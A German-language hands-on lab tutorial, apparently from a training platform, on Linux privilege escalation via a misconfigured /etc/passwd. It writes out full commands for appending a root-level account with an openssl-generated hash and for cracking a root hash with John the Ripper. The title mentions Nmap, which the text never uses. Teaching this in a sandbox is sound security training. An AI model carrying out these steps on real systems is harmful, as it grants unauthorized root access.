Privilege Escalation über die /etc/passwd-Datei in Nmap untersuchen

Einführung

Die Dateien /etc/passwd und /etc/shadow sind für die Benutzerauthentifizierung in Linux-Systemen von entscheidender Bedeutung. Wenn Systemadministratoren den Inhalt oder die Berechtigungen dieser Dateien fehlerhaft konfigurieren, kann dies zu Sicherheitslücken im Zusammenhang mit Privilegierweiterungen führen. In diesem Lab (Praktikum) werden wir Methoden zur Privilegierweiterung durch Ausnutzung der /etc/passwd-Datei untersuchen.

Skills Graph

Das `/etc/passwd`-File verstehen

In diesem Schritt werden wir die Struktur und Bedeutung der /etc/passwd-Datei untersuchen.

Auf Linux-Systemen wird die Benutzerkennwortinformation in zwei Dateien gespeichert: /etc/passwd und /etc/shadow. Die /etc/passwd-Datei enthält Benutzerinformationen, wobei jede Zeile ein einzelnes Benutzerkonto darstellt. Jede Zeile ist in sieben durch Doppelpunkte getrennte Felder unterteilt:

Benutzername
Kennwort (wenn auf x gesetzt, wird das Kennwort in /etc/shadow gespeichert)
Benutzer-ID (UID, 0 für den Root-Benutzer)
Gruppen-ID (GID)
Benutzerinformationen (Vollständiger Name, Raumnummer, dienstliche Telefonnummer, private Telefonnummer und andere)
Heimatverzeichnis
Standard-Shell

Öffnen Sie jetzt ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project, um mit dem nächsten Schritt fortzufahren.

cd /home/labex/project

Rufen Sie die Informationen des Benutzers labex aus der /etc/passwd-Datei ab und speichern Sie sie in einer Datei namens labex_passwd.txt im Verzeichnis /home/labex/project.

grep labex /etc/passwd > /home/labex/project/labex_passwd.txt

Überprüfen Sie den Inhalt der Datei labex_passwd.txt.

cat labex_passwd.txt

Erwartete Ausgabe:

labex:x:5000:5000::/home/labex:/usr/bin/zsh

Hier ist, was jedes Feld darstellt:

Benutzername: test-user
Kennwort: in /etc/shadow gespeichert (angezeigt durch x)
UID: 5000
GID: 5000
Benutzerinformationen: In diesem Fall ist es leer
Heimatverzeichnis: /home/labex
Standard-Shell: /usr/bin/zsh

Während des Linux-Authentifizierungsprozesses erfolgen die folgenden Schritte:

Der eingegebene Benutzername wird mit dem ersten Feld in jeder Zeile der /etc/passwd-Datei verglichen.
Wenn eine Übereinstimmung gefunden wird, wird das Kennwort im zweiten Feld verglichen.
Bei erfolgreicher Authentifizierung werden die Benutzerberechtigungen durch die UID (drittes Feld) und die GID (viertes Feld) festgelegt.
Wichtig ist, dass eine UID von 0 den Root-Benutzer darstellt, der volle administrative Rechte hat, unabhängig vom Benutzername.

Wie Sie sehen können, spielt die /etc/passwd-Datei eine entscheidende Rolle im Linux-Authentifizierungsprozess. Wenn ein Angreifer diese Datei ändern kann, kann er möglicherweise unbefugten Zugang erhalten und seine Rechte erhöhen.

Privilegierweiterung über /etc/passwd (Schreibzugriff)

In diesem Schritt werden wir lernen, wie man Privilegien durch Ausnutzung des Schreibzugriffs auf die /etc/passwd-Datei erhöhen kann.

Zuerst richten wir die Lab-Umgebung ein. Öffnen Sie ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project:
```
cd /home/labex/project
```
Führen Sie den folgenden Befehl aus, um die Lab-Umgebung einzurichten:
```
./env_setup1.sh
```
Dieser Befehl führt ein Skript aus, das die Lab-Umgebung einrichtet. Sie sollten eine Ausgabe sehen, die angibt, dass die Umgebung bereit ist.
Nach der Einrichtung werden Sie als Benutzer user001 angemeldet sein, was den Zugang zu einer anfänglichen Shell simuliert, der während eines Penetrationstests erlangt wurde.

Navigieren Sie in das Heimatverzeichnis des Benutzers user001:
```
cd ~
```
Verwenden Sie den Befehl whoami, um Ihren aktuellen Benutzer zu überprüfen:
```
whoami
```
Erwartete Ausgabe:
```
user001
```
Verwenden Sie den Befehl id, um Ihre Benutzer- und Gruppen-IDs anzuzeigen:
```
id
```
Erwartete Ausgabe:
```
uid=1001(user001) gid=1001(user001) groups=1001(user001)
```
Wie Sie sehen können, sind Sie ein normaler Benutzer ohne besondere Privilegien.
Prüfen Sie als Nächstes die Berechtigungen der Dateien /etc/passwd und /etc/shadow:
```
ls -l /etc/passwd /etc/shadow
```
Erwartete Ausgabe:
```
--wx--xrwx 1 root root    1961 Apr  5 00:21 /etc/passwd
-rw-r----- 1 root user001 1101 Apr  5 00:21 /etc/shadow
```
Beachten Sie, dass die /etc/passwd-Datei Ausführungs- und Schreibberechtigungen für alle Benutzer (--wx--xrwx) hat, was eine Fehlkonfiguration durch den Systemadministrator ist.

Unser Ziel ist es, einen neuen Benutzer-Eintrag in der /etc/passwd-Datei mit einem benutzerdefinierten Benutzernamen, Kennwort und einer UID von 0 (Root) zu erstellen. Dies ermöglicht es uns, uns als Root-Benutzer anzumelden.

Zuerst untersuchen wir das Format des Root-Benutzer-Eintrags in der /etc/passwd-Datei, indem wir ihn in eine neue Datei namens new_user_entry.txt extrahieren:
```
cat /etc/passwd | grep root > new_user_entry.txt
```
Erwartete Ausgabe, wenn Sie den cat-Befehl verwenden, um den Inhalt der Datei new_user_entry.txt anzuzeigen:
```
root:x:0:0:root:/root:/bin/bash
```
Um unseren eigenen Eintrag zu erstellen, ändern Sie den Benutzernamen von root in einen beliebigen gewünschten Namen, wie z.B. new-user in der Datei new_user_entry.txt:
```
new-user:x:0:0:root:/root:/bin/bash
```
Ersetzen Sie das x im zweiten Feld durch den verschlüsselten Kennworthash. Wir können das openssl-Tool verwenden, um den Hash für ein Kennwort (z.B. pass123) zu generieren:
```
openssl passwd -1 -salt ignite pass123
```
Erwartete Ausgabe:
```
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
```
Ersetzen Sie den Hash im zweiten Feld in der Datei new_user_entry.txt:
```
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
```
Fügen Sie jetzt diese Zeile an die /etc/passwd-Datei an:
```
echo "$(cat new_user_entry.txt)" >> /etc/passwd
```
Hinweis: Wir können den neuen Eintrag an die /etc/passwd-Datei anhängen, weil sie Schreibberechtigungen für alle Benutzer hat. In einer realen Welt sollte diese Datei keine Schreibberechtigungen für normale Benutzer haben.
Überprüfen Sie den neuen Eintrag, indem Sie nach new-user in der /etc/passwd-Datei suchen:
```
cat /etc/passwd | grep new-user
```
Erwartete Ausgabe:
```
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
```
Wechseln Sie schließlich zum Benutzer new-user mit dem Kennwort pass123:
```
su new-user
```
Geben Sie das Kennwort pass123 ein, wenn Sie dazu aufgefordert werden. Sie sollten jetzt Root-Privilegien haben, wie sich an der Änderung der Eingabeaufforderung zeigt:
```
user001@660ecfa4d7612c798ef141ab:~$ su new-user
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
```

Privilegierweiterung über /etc/passwd (Kennworthash)

In diesem Schritt werden wir lernen, wie man Privilegien erhöhen kann, wenn der Kennworthash des Root-Benutzers in der /etc/passwd-Datei anstelle der /etc/shadow-Datei gespeichert ist.

Zuerst richten wir die Lab-Umgebung ein. Öffnen Sie ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project:

Wenn Sie noch als new-user angemeldet sind, können Sie den Befehl exit verwenden, um die aktuelle Shell zu verlassen, bis Sie die labex-Shell erreichen. Navigieren Sie dann in das Verzeichnis /home/labex/project:
```
cd /home/labex/project
```
Führen Sie den folgenden Befehl aus, um die Lab-Umgebung einzurichten:
```
./env_setup2.sh
```
Dieser Befehl führt ein Skript aus, das die Lab-Umgebung einrichtet. Sie sollten eine Ausgabe sehen, die angibt, dass die Umgebung bereit ist.
Nach der Einrichtung werden Sie als Benutzer user001 angemeldet sein, was den Zugang zu einer anfänglichen Shell simuliert, der während eines Penetrationstests erlangt wurde.

Navigieren Sie in das Heimatverzeichnis des Benutzers user001:
```
cd ~
```
Prüfen Sie die Berechtigungen der Dateien /etc/passwd und /etc/shadow:
```
ls -l /etc/passwd /etc/shadow
```
```
-rw-r--r-- 1 root root 2059 Apr  5 01:36 /etc/passwd
-rw-r----- 1 root root 1101 Apr  5 00:21 /etc/shadow
```
Diesmal sind die Dateiberechtigungen korrekt konfiguriert, und Sie haben nur Lesezugriff auf die /etc/passwd-Datei.
Zeigen Sie den Inhalt der /etc/passwd-Datei an, um den Kennworthash des Root-Benutzers zu finden:
```
cat /etc/passwd | grep ^root > ~/hash.txt
```
Prüfen Sie den Inhalt der Datei hash.txt, indem Sie den folgenden Befehl ausführen:
```
cat ~/hash.txt
```
Erwartete Ausgabe:
```
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash
```
Beachten Sie, dass der Kennworthash des Root-Benutzers im zweiten Feld der /etc/passwd-Datei gespeichert ist. Dies ist normalerweise das Ergebnis eines früheren Systemangriffs oder einer Fehlkonfiguration durch den Systemadministrator.
Führen Sie jetzt john aus, um den Hash zu knacken:
```
john ~/hash.txt > ~/cracked.txt
```
john ist ein beliebtes Tool zum Knacken von Kennwörtern, das Wörterbuchangriffe verwendet, um Kennworthashes zu knacken. Die Ausgabe gibt an, ob das Kennwort erfolgreich geknackt wurde.
```
Created directory: /home/user001/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```
Prüfen Sie den Inhalt der Datei cracked.txt, um das geknackte Kennwort anzuzeigen:
```
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
hello            (root)
```
Wie Sie sehen können, hat john das Kennwort erfolgreich geknackt, das hello ist.
Verwenden Sie den Befehl su, um zum Root-Benutzer zu wechseln, und geben Sie das geknackte Kennwort ein, wenn Sie dazu aufgefordert werden:
```
su root
```
Geben Sie das Kennwort hello ein, wenn Sie dazu aufgefordert werden. Sie sollten jetzt Root-Privilegien haben, wie sich an der Änderung der Eingabeaufforderung zeigt.
```
user001@660ecfa4d7612c798ef141ab:~$ su root
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
```

Zusammenfassung

In diesem Lab (Praktikum) haben wir über den Linux-Benutzerauthentifizierungsprozess, die Bedeutung der /etc/passwd-Datei und wie man sie zur Privilegierweiterung ausnutzen kann, gelernt. Wir haben zwei Szenarien behandelt: (1) wenn die /etc/passwd-Datei Schreibberechtigungen hat, was es uns ermöglicht, einen neuen Benutzer-Eintrag mit Root-Privilegien zu erstellen, und (2) wenn der Kennworthash des Root-Benutzers in der /etc/passwd-Datei gespeichert ist, was es uns ermöglicht, das Kennwort mit dem john-Tool zu knacken. Durch praktische Übungen haben wir ein tieferes Verständnis dafür gewonnen, wie man Fehlkonfigurationen in der /etc/passwd-Datei nutzen kann, um Privilegien auf einem Linux-System zu erhöhen.